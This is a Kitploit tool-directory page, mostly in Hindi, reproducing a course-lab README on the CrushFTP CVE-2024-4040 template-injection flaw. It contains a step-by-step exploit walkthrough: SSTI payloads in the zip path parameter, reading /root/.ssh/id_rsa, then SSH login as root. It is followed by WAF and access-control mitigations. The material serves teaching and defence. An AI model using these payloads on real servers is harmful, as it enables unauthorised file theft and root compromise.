Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
Log in
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CrushFTP-CVE-2024-4040-Proof-of-Concept — CVE-2024-4040 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, CrushFTP में बिना प्रमाणीकरण के SSTI और स्थानीय फ़ाइल पढ़ने का प्रदर्शन, Docker लैब और शमन रणनीतियों के साथ। | Kitploit
उपकरण/GitHubGitHub/sidjaz/crushftp-cve-2024-4040-proof-of-concept
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubsidjaz/crushftp-cve-2024-4040-proof-of-concept

CrushFTP-CVE-2024-4040-Proof-of-Concept

CVE-2024-4040 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, CrushFTP में बिना प्रमाणीकरण के SSTI और स्थानीय फ़ाइल पढ़ने का प्रदर्शन, Docker लैब और शमन रणनीतियों के साथ।

रिपॉजिटरी देखें
54 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-4040 भेद्यता — CrushFTP SSTI / LFI प्रूफ ऑफ कॉन्सेप्ट

केवल शैक्षिक और अधिकृत लैब उपयोग के लिए।
CS443 सॉफ्टवेयर और सिस्टम सुरक्षा मॉड्यूल के लिए। लैब एक नियंत्रित स्थानीय डॉकर वातावरण में की गई थी।


भेद्यता सारांश

फ़ील्डविवरण
CVECVE-2024-4040
प्रभावित सॉफ्टवेयरCrushFTP < 10.7.1 (v10 branch) / < 11.1.0 (v11 branch)
भेद्यता प्रकारServer-Side Template Injection (SSTI) → अप्रमाणित स्थानीय फ़ाइल पढ़ना
CVSS स्कोर9.8 क्रिटिकल
प्रभावअप्रमाणित हमलावर सर्वर फाइल सिस्टम से मनमानी फ़ाइलें पढ़ सकते हैं

CrushFTP का WebInterface zip कमांड के path पैरामीटर में टेम्पलेट एक्सप्रेशन को बिना सैनिटाइज़ेशन के मूल्यांकन करता है। एक अप्रमाणित हमलावर अनाम सत्र कुकीज़ प्राप्त कर सकता है, फिर उन कुकीज़ का उपयोग टेम्पलेट पेलोड ({working_dir}, <INCLUDE>…</INCLUDE>) भेजने के लिए कर सकता है जिन्हें सर्वर मूल्यांकित करके लौटाता है — जो होस्ट भर में मनमानी फ़ाइल पढ़ने की अनुमति देता है।


लैब वातावरण

घटकमान
लक्ष्यhttp://localhost:8080
आधार PoC CrushFTP संस्करण10.3.0 (जानबूझकर कमजोर)
शमन 3 परीक्षण वातावरणCrushFTP 11.x (पैच की गई शाखा) चलाने वाला अलग कंटेनर
SSH पोर्ट (कंटेनर)2222 → 22
व्यवस्थापक क्रेडेंशियलadmin / admin
कंटेनर रनटाइमDocker (Compose)

पूर्वापेक्षाएँ

pip install requests rich

स्क्रिप्ट्स

स्क्रिप्टस्रोतउद्देश्य
crushed.pyStuub/CVE-2024-4040-SSTI-LFI-PoCपूर्ण SSTI/LFI शोषण — सत्र चोरी, मनमानी फ़ाइल पढ़ना
recon.pyयह रिपॉजिटरीसंस्करण पहचान, लाइव SSTI जांच, भेद्यता पुष्टि

प्रूफ ऑफ कॉन्सेप्ट वॉकथ्रू

चरण 1 — लैब शुरू करें

docker-compose up -d

स्क्रिप्ट चलाने से पहले CrushFTP को पूरी तरह से प्रारंभ होने के लिए ~10 सेकंड प्रतीक्षा करें। यहां कोई अलग recon चरण आवश्यक नहीं है क्योंकि crushed.py निष्पादन के दौरान पहले से जांचता है कि शोषण संभव है या नहीं।


चरण 2 — LFI के माध्यम से SSH निजी कुंजी चुराएं

python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa

स्क्रिप्ट निम्न कार्य करेगी:

  1. /WebInterface/ से एक अनाम CrushAuth / currentAuth सत्र प्राप्त करें
  2. टेम्पलेट मूल्यांकन की पुष्टि करने और सर्वर होस्टनाम लीक करने के लिए SSTI का उपयोग करें
  3. CrushFTP इंस्टॉलेशन निर्देशिका को हल करने के लिए {working_dir} का उपयोग करें
  4. लक्ष्य फ़ाइल को पढ़ने के लिए <INCLUDE>/root/.ssh/id_rsa</INCLUDE> का उपयोग करें
  5. कच्ची फ़ाइल सामग्री stdout पर प्रिंट करें

आउटपुट से निजी कुंजी ब्लॉक कॉपी करें (-----BEGIN OPENSSH PRIVATE KEY----- से -----END OPENSSH PRIVATE KEY----- तक सब कुछ)।


चरण 3 — चुराई गई कुंजी सहेजें

cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<paste key from output>
-----END OPENSSH PRIVATE KEY-----
EOF

chmod 600 stolen_id_rsa

चरण 4 — रूट के रूप में कंटेनर में SSH करें

ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no

चरण 5 — रूट एक्सेस की पुष्टि करें

whoami
# अपेक्षित: root

id
# अपेक्षित: uid=0(root) gid=0(root) groups=0(root)

hostname
# अपेक्षित: <container_id>

आक्रमण श्रृंखला आरेख

अप्रमाणित हमलावर
        │
        ▼
GET /WebInterface/          ← अनाम CrushAuth + currentAuth कुकीज़ प्राप्त करता है
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={hostname}          ← SSTI पुष्टि — सर्वर द्वारा टेम्पलेट का मूल्यांकन किया गया
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={working_dir}       ← पूर्ण इंस्टॉलेशन पथ लीक करता है
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE>   ← मनमानी फ़ाइल पढ़ना
        │
        ▼
SSH -i stolen_id_rsa root@localhost -p 2222    ← पूर्ण रूट शेल

crushed.py में मुख्य ज्ञात समस्याएँ

समस्यास्थानविवरण
लापता निर्भरतापंक्ति 6–9चलाने से पहले pip install rich आवश्यक है
कमजोर XML पार्सिंगपंक्ति 86, 140गैर-XML सर्वर प्रतिक्रियाओं पर क्रैश होता है; कोई ParseError हैंडलिंग नहीं
टोकन regex बहुत सख्तपंक्ति 160–161CrushAuth=…; currentAuth=… पैटर्न सभी sessions.obj प्रारूपों से मेल नहीं खा सकता
केवल HTTP 404पंक्ति 53कुकी ग्रैब केवल 404 पर सफल होता है; अन्य स्थिति कोड पर चुपचाप गिर जाता है

शमन रणनीतियाँ

शमन 1 — वेब एप्लिकेशन फ़ायरवॉल (NGINX + ModSecurity)

अवलोकन

WAF एक रिवर्स प्रॉक्सी के रूप में कार्य करता है जो CrushFTP तक पहुंचने से पहले आने वाले HTTP/S ट्रैफ़िक का निरीक्षण करता है। NGINX को ModSecurity के साथ उपयोग करके, CVE-2024-4040 का शोषण करने वाले दुर्भावनापूर्ण अनुरोधों को CrushFTP को संशोधित किए बिना नेटवर्क किनारे पर अवरुद्ध कर दिया जाता है।

यह CVE-2024-4040 को कैसे शमन करता है

  • अनुरोध URI और कुकीज़ में पथ ट्रैवर्सल पैटर्न (उदाहरण के लिए, ../, %2e%2e) को अवरुद्ध करता है
  • अप्रमाणित VFS एस्केप अनुरोधों को CrushFTP तक पहुंचने से रोकता है
  • एप्लिकेशन पर पहुंचने से पहले संदिग्ध पेलोड को लॉग और अस्वीकार करता है

डॉकर सेटअप

Mitigation 1/docker-compose.yaml का उपयोग करें:

services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

NGINX कॉन्फ़िगरेशन

Mitigation 1/nginx.conf का उपयोग करें:

worker_processes 1;

events {
    worker_connections 1024;
}

http {
    # Enable ModSecurity
    modsecurity on;
    modsecurity_rules_file /etc/modsecurity.d/setup.conf;

    upstream crushftp {
        server crushftp:8080;
    }

    server {
        listen 80;
        server_name localhost;

        # Proxy all traffic to CrushFTP
        location / {
            proxy_pass http://crushftp;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;
        }

        # Return 403 for blocked requests
        error_page 403 /403.html;
        location = /403.html {
            return 403 '{"error": "Request blocked by WAF"}';
        }
    }
}

ट्रैफ़िक प्रवाह

हमलावर -> NGINX WAF (पोर्ट 80) -> दुर्भावनापूर्ण को अवरुद्ध करता है -> 403 निषिद्ध
                             -> स्वच्छ को अग्रेषित करता है -> CrushFTP:8080

सीमाएँ

  • मूल कारण को पैच नहीं करता - WAF को बायपास करने पर CrushFTP कमजोर बना रहता है
  • हमलावरों द्वारा अस्पष्टीकरण तकनीक विकसित करने पर नियम अपडेट की आवश्यकता होती है

शमन 2 — अनाम उपयोगकर्ता पहुंच अक्षम करें

अवलोकन

CVE-2024-4040 बिना प्रमाणीकरण के शोषण योग्य है। इस लैब में, संवेदनशील मार्गों को CrushFTP पर प्रॉक्सी करने से पहले Authorization हेडर की आवश्यकता के द्वारा NGINX परत पर अनाम-शैली पहुंच को अवरुद्ध किया जाता है।

यह CVE-2024-4040 को कैसे शमन करता है

  • crushed.py जैसी शोषण स्क्रिप्ट अप्रमाणित पहुंच पर निर्भर करती हैं; बिना क्रेडेंशियल के अनुरोध 401 के साथ अस्वीकार कर दिए जाते हैं
  • /WebInterface/ और / के अनुरोध तब तक अस्वीकार कर दिए जाते हैं जब तक प्रमाणीकरण डेटा मौजूद न हो
  • अप्रमाणित उपयोगकर्ताओं के लिए कमजोर एंडपॉइंट्स के एक्सपोजर को कम करता है

डॉकर सेटअप (Mitigation 2/docker-compose.yaml से सटीक)

services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

NGINX नीति (Mitigation 2/nginx.conf से सटीक)

events {}
http {
  server {
    listen 80;

    # Allow static assets unauthenticated
    location ~* \.(css|js|png|jpg|ico|gif)$ {
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
    }
टूल डाउनलोड करें